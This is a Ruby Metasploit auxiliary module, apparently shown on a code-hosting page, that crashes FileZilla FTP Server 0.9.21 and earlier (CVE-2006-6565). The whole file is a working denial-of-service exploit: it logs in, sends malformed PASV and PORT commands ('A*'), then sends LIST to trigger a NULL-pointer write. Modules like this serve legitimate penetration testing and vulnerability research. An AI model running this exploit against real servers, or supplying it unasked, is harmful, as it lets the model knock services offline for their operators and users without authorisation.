Patrick Webster
51 lines
1.4 KiB
Ruby
51 lines
1.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Ftp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FileZilla FTP Server Malformed PORT Denial of Service',
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'Description' => %q{
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This module triggers a Denial of Service condition in the FileZilla FTP
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Server versions 0.9.21 and earlier. By sending a malformed PORT command
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then LIST command, the server attempts to write to a NULL pointer.
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},
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'Author' => [ 'aushack' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '21542' ],
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[ 'BID', '21549' ],
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[ 'CVE', '2006-6565' ],
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[ 'EDB', '2914' ],
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[ 'OSVDB', '34435' ]
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],
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'DisclosureDate' => 'Dec 11 2006'))
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end
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def run
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begin
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c = connect_login
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rescue Rex::ConnectionRefused
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print_error("Connection refused.")
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return
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rescue Rex::ConnectionTimeout
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print_error("Connection timed out")
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return
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end
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return if not c
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send_cmd(['PASV', 'A*'], true) # Assigns PASV port
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send_cmd(['PORT', 'A*'], true) # Rejected but seems to assign NULL to pointer
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send_cmd(['LIST'], true) # Try and push data to NULL port, trigger crash :)
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disconnect
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end
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end
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